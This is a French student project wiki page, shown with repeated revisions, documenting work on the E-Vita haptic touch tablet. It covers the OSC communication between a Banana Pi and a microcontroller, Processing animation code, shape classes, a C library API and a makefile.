Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.

==Protocole de communication OSC==

Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client.

Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle

Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé.
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.

Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.

==Retour des valeurs d'amplitude sur la plaque piezo==

Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en "dur" dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé.

Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement.

Signal Sinusoîdal -> sin(wt)
Signal Carré -> x(t) = 1 , 0 < t <= T et 0, T < t < 2T.
Signal dent de scie -> x(t) = t, 0 < t < 2T
Signal Dirac

Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.

=Cahier des charges=

Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.

Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.

=Avancé du travail=
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection.

[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]

Le code correspondant est un classique switch/case inscrit dans la fonction draw() :

fill(255, 0, 0);
switch (currentNumber){
case 1:
fill(255, 0, 0);
line(240,340,116,800-552);
break;

case 2:
fill(255, 0, 0);
line(240,340,239,800-676);
break;
case 3:
fill(255, 0, 0);
line(240,340,384,800-558);
break;

case 4:
fill(255, 0, 0);
line(240,340,381,800-372);
break;

case 5:
fill(255, 0, 0);
line(240,340,237,800-257);
break;
case 6:

fill(255, 0, 0);
line(240,340,98,800-372);
break;
}

Je décide donc de réaliser un cercle autour du bouton "OK" avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :

if (!creatingCode){
translate(240, 333); // On place le référentiel au centre du bouton "OK"

rotate(direction * millis() * 0.001 * TWO_PI / 1O.0); // Créer une rotation de 360° en 10 secondes.
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
line(75,0,90,0);
line(-75,0,-90,0);
line(0,75,0,90);
line(0,-75,0,-90);
}

Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.

Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :

int direction = 0; // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo
int nb_frame = 0; // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.
float phi = 0.; // Sert contient le calcul de la phase pour la rotation.

La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.

if (!creatingCode){
translate(240, 333); // Centrage sur "OK"
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
if (frameCount < nb_frame +60){ // Calcul de la position du premier segment
phi = direction * ((nb_frame-frameCount)/60.) * PI/3; // Le frameRate est fixé à 60 itérations/s
}else{
direction =0; // Reset de la variable d'appui
}
//Creation des segments
for (int i=0; i<6; i++){ // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle
pushMatrix();
rotate(phi + i*PI/3);
line(75,0,90,0);
popMatrix();
}
}

Une animation est disponible au lien suivant :
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]

==Boite à outils Haut Niveau==

Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.

Conception des classes représentant les motifs élémentaires.
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.
Conception des méthodes dessiner : permet de dessiner le motif élémentaire
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.

===La classe abstraite Tforme ===

abstract class Tforme{
String ensemble;
int motif;
void addMotif(int iMotif){
motif = iMotif;
}

void sendControl(){
println(motif);
}

abstract boolean isIn(int xpos, int ypos);
abstract void dessiner();

}

===La classe Trectangle===

class Trectangle extends Tforme{
int x1, y1, x2, y2;

Trectangle(int xpos, int ypos, int hauteur, int largeur){
x1 = xpos;
x2 = xpos + hauteur;
y1 = ypos;
y2 = ypos + largeur;
}
void dessiner(){
rect(x1,y1,x2,y2);
}

boolean isIn(int xpos, int ypos){
if (xpos > x1 && xpos < x2 && ypos > y1 && ypos < y2){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
// rajoute une entree dans la HashMap
}
}

===La classe Tcircle===

class Tcircle extends Tforme{
int x,y;
int radius;
Tcircle(int xpos, int ypos, int rayon){
x = xpos;
y = ypos;
radius = rayon;
}
void dessiner(){
ellipseMode(CENTER);
ellipse((float)x, (float)y, (float)radius, (float)radius);
}
boolean isIn(int xpos, int ypos){
float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));
if (dist <= radius){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
}
}

===Fonction de Rotation===

Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.
L'outil processing permet de réalise une rotation via la commande

rotate()

Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.

Photo 1

Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.

Photo 2

Il me semble donc obligatoire d'utiliser un peu de trigonométrie :

Photo table de vérité + Représentation schématique

==Boite à Outils Bas Niveau==

Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.

On manipule donc nos structure en C en rendant publique les méthodes :

int startEvita(); // Initialisation
void stopEvita();

void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2); //Définition forme géométrique où sera présente la texture : Taxtel
void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r); //Idem mais de manière elliptique
void disableTaxtTel(int id, int textureId); //Désactive le retour tactile pour la forme sélectionné

void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc); //Fonction définissant les texture possible : Signal Carré / Sinusoïde
void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);

void registerCallbackPressed(void (*myfonction) (int x, int y)); //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...
void registerCallbackDragged(void (*myfonction) (int x, int y));
void registerCallbackRelease(void (*myfonction)());
void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));
void registerCallbackTexture(void (*myfonction) (int signal, int period));

Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.

Et ci-dessous le makefile générant au choix une librairie statique/dynamique :

CC=gcc
AR=ar
EXEC=main
SOURCE=libTextureControl.c
OBJ=libTextureControl.o
STATIC=libTextureControl.a
DYNAMIC=libTextureControl.so

static:$(STATIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(STATIC):$(OBJ)
$(AR) rcs $(STATIC) $(OBJ)

$(OBJ):$(SOURCE)
$(CC) -c $(SOURCE)

clean:
rm -rf *.o *.a *.so *.out

dynamic:$(DYNAMIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(DYNAMIC):$(OBJ)
gcc -shared -o $(DYNAMIC) $(OBJ)

$(OBJ):$(SOURCE)
gcc -c -fPIC $(SOURCE)

P42 Dispositif à retour tactile

2017-02-06T16:02:46Z

Pfitouss : /* Boite à Outils Bas Niveau */

P42 Dispositif à retour tactile

2017-02-06T15:58:53Z

Pfitouss : /* Boite à Outils Bas Niveau */

=Contexte du sujet=
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).

C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.

=Objectif du sujet=
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.

==Protocole de communication OSC==

Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client.

Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle

Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé.
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.

Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.

==Retour des valeurs d'amplitude sur la plaque piezo==

Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en "dur" dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé.

Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement.

Signal Sinusoîdal -> sin(wt)
Signal Carré -> x(t) = 1 , 0 < t <= T et 0, T < t < 2T.
Signal dent de scie -> x(t) = t, 0 < t < 2T
Signal Dirac

Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.

=Cahier des charges=

Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.

Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.

=Avancé du travail=
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection.

[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]

Le code correspondant est un classique switch/case inscrit dans la fonction draw() :

fill(255, 0, 0);
switch (currentNumber){
case 1:
fill(255, 0, 0);
line(240,340,116,800-552);
break;

case 2:
fill(255, 0, 0);
line(240,340,239,800-676);
break;
case 3:
fill(255, 0, 0);
line(240,340,384,800-558);
break;

case 4:
fill(255, 0, 0);
line(240,340,381,800-372);
break;

case 5:
fill(255, 0, 0);
line(240,340,237,800-257);
break;
case 6:

fill(255, 0, 0);
line(240,340,98,800-372);
break;
}

Je décide donc de réaliser un cercle autour du bouton "OK" avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :

if (!creatingCode){
translate(240, 333); // On place le référentiel au centre du bouton "OK"

rotate(direction * millis() * 0.001 * TWO_PI / 1O.0); // Créer une rotation de 360° en 10 secondes.
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
line(75,0,90,0);
line(-75,0,-90,0);
line(0,75,0,90);
line(0,-75,0,-90);
}

Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.

Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :

int direction = 0; // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo
int nb_frame = 0; // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.
float phi = 0.; // Sert contient le calcul de la phase pour la rotation.

La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.

if (!creatingCode){
translate(240, 333); // Centrage sur "OK"
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
if (frameCount < nb_frame +60){ // Calcul de la position du premier segment
phi = direction * ((nb_frame-frameCount)/60.) * PI/3; // Le frameRate est fixé à 60 itérations/s
}else{
direction =0; // Reset de la variable d'appui
}
//Creation des segments
for (int i=0; i<6; i++){ // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle
pushMatrix();
rotate(phi + i*PI/3);
line(75,0,90,0);
popMatrix();
}
}

Une animation est disponible au lien suivant :
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]

==Boite à outils Haut Niveau==

Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.

Conception des classes représentant les motifs élémentaires.
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.
Conception des méthodes dessiner : permet de dessiner le motif élémentaire
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.

===La classe abstraite Tforme ===

abstract class Tforme{
String ensemble;
int motif;
void addMotif(int iMotif){
motif = iMotif;
}

void sendControl(){
println(motif);
}

abstract boolean isIn(int xpos, int ypos);
abstract void dessiner();

}

===La classe Trectangle===

class Trectangle extends Tforme{
int x1, y1, x2, y2;

Trectangle(int xpos, int ypos, int hauteur, int largeur){
x1 = xpos;
x2 = xpos + hauteur;
y1 = ypos;
y2 = ypos + largeur;
}
void dessiner(){
rect(x1,y1,x2,y2);
}

boolean isIn(int xpos, int ypos){
if (xpos > x1 && xpos < x2 && ypos > y1 && ypos < y2){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
// rajoute une entree dans la HashMap
}
}

===La classe Tcircle===

class Tcircle extends Tforme{
int x,y;
int radius;
Tcircle(int xpos, int ypos, int rayon){
x = xpos;
y = ypos;
radius = rayon;
}
void dessiner(){
ellipseMode(CENTER);
ellipse((float)x, (float)y, (float)radius, (float)radius);
}
boolean isIn(int xpos, int ypos){
float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));
if (dist <= radius){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
}
}

===Fonction de Rotation===

Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.
L'outil processing permet de réalise une rotation via la commande

rotate()

Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.

Photo 1

Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.

Photo 2

Il me semble donc obligatoire d'utiliser un peu de trigonométrie :

Photo table de vérité + Représentation schématique

==Boite à Outils Bas Niveau==

Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.

On manipule donc nos structure en C en rendant publique les méthodes :

int startEvita();
void stopEvita();

void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);
void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);
void disableTaxtTel(int id, int textureId);

void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);
void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);

void registerCallbackPressed(void (*myfonction) (int x, int y));
void registerCallbackDragged(void (*myfonction) (int x, int y));
void registerCallbackRelease(void (*myfonction)());
void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));
void registerCallbackTexture(void (*myfonction) (int signal, int period));

P42 Dispositif à retour tactile

2017-02-06T15:55:21Z

Pfitouss : /* Boite à outils */

P42 Dispositif à retour tactile

2017-01-27T16:37:17Z

Pfitouss : /* Boite à outils */

=Contexte du sujet=
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).

C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.

=Objectif du sujet=
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.

==Protocole de communication OSC==

Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client.

Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle

Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé.
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.

Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.

==Retour des valeurs d'amplitude sur la plaque piezo==

Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en "dur" dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé.

Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement.

Signal Sinusoîdal -> sin(wt)
Signal Carré -> x(t) = 1 , 0 < t <= T et 0, T < t < 2T.
Signal dent de scie -> x(t) = t, 0 < t < 2T
Signal Dirac

Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.

=Cahier des charges=

Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.

Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.

=Avancé du travail=
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection.

[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]

Le code correspondant est un classique switch/case inscrit dans la fonction draw() :

fill(255, 0, 0);
switch (currentNumber){
case 1:
fill(255, 0, 0);
line(240,340,116,800-552);
break;

case 2:
fill(255, 0, 0);
line(240,340,239,800-676);
break;
case 3:
fill(255, 0, 0);
line(240,340,384,800-558);
break;

case 4:
fill(255, 0, 0);
line(240,340,381,800-372);
break;

case 5:
fill(255, 0, 0);
line(240,340,237,800-257);
break;
case 6:

fill(255, 0, 0);
line(240,340,98,800-372);
break;
}

Je décide donc de réaliser un cercle autour du bouton "OK" avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :

if (!creatingCode){
translate(240, 333); // On place le référentiel au centre du bouton "OK"

rotate(direction * millis() * 0.001 * TWO_PI / 1O.0); // Créer une rotation de 360° en 10 secondes.
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
line(75,0,90,0);
line(-75,0,-90,0);
line(0,75,0,90);
line(0,-75,0,-90);
}

Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.

Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :

int direction = 0; // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo
int nb_frame = 0; // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.
float phi = 0.; // Sert contient le calcul de la phase pour la rotation.

La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.

if (!creatingCode){
translate(240, 333); // Centrage sur "OK"
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
if (frameCount < nb_frame +60){ // Calcul de la position du premier segment
phi = direction * ((nb_frame-frameCount)/60.) * PI/3; // Le frameRate est fixé à 60 itérations/s
}else{
direction =0; // Reset de la variable d'appui
}
//Creation des segments
for (int i=0; i<6; i++){ // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle
pushMatrix();
rotate(phi + i*PI/3);
line(75,0,90,0);
popMatrix();
}
}

Une animation est disponible au lien suivant :
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]

==Boite à outils==

Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.

Conception des classes représentant les motifs élémentaires.
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.
Conception des méthodes dessiner : permet de dessiner le motif élémentaire
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.

===La classe abstraite Tforme ===

abstract class Tforme{
String ensemble;
int motif;
void addMotif(int iMotif){
motif = iMotif;
}

void sendControl(){
println(motif);
}

abstract boolean isIn(int xpos, int ypos);
abstract void dessiner();

}

===La classe Trectangle===

class Trectangle extends Tforme{
int x1, y1, x2, y2;

Trectangle(int xpos, int ypos, int hauteur, int largeur){
x1 = xpos;
x2 = xpos + hauteur;
y1 = ypos;
y2 = ypos + largeur;
}
void dessiner(){
rect(x1,y1,x2,y2);
}

boolean isIn(int xpos, int ypos){
if (xpos > x1 && xpos < x2 && ypos > y1 && ypos < y2){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
// rajoute une entree dans la HashMap
}
}

===La classe Tcircle===

class Tcircle extends Tforme{
int x,y;
int radius;
Tcircle(int xpos, int ypos, int rayon){
x = xpos;
y = ypos;
radius = rayon;
}
void dessiner(){
ellipseMode(CENTER);
ellipse((float)x, (float)y, (float)radius, (float)radius);
}
boolean isIn(int xpos, int ypos){
float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));
if (dist <= radius){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
}
}

===Fonction de Rotation===

Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.
L'outil processing permet de réalise une rotation via la commande

rotate()

Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.

Photo 1

Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.

Photo 2

Il me semble donc obligatoire d'utiliser un peu de trigonométrie :

Photo table de vérité + Représentation schématique

P42 Dispositif à retour tactile

2017-01-27T16:31:04Z

Pfitouss : /* Boite à outils */

P42 Dispositif à retour tactile

2017-01-23T20:31:00Z

Pfitouss : /* Boite à outils */

P42 Dispositif à retour tactile

2017-01-23T20:29:25Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-23T20:25:25Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-23T19:54:09Z

Pfitouss : /* Cahier des charges */

P42 Dispositif à retour tactile

2017-01-10T18:22:45Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T18:21:22Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T18:15:02Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T18:13:28Z

Pfitouss : /* Avancé du travail */

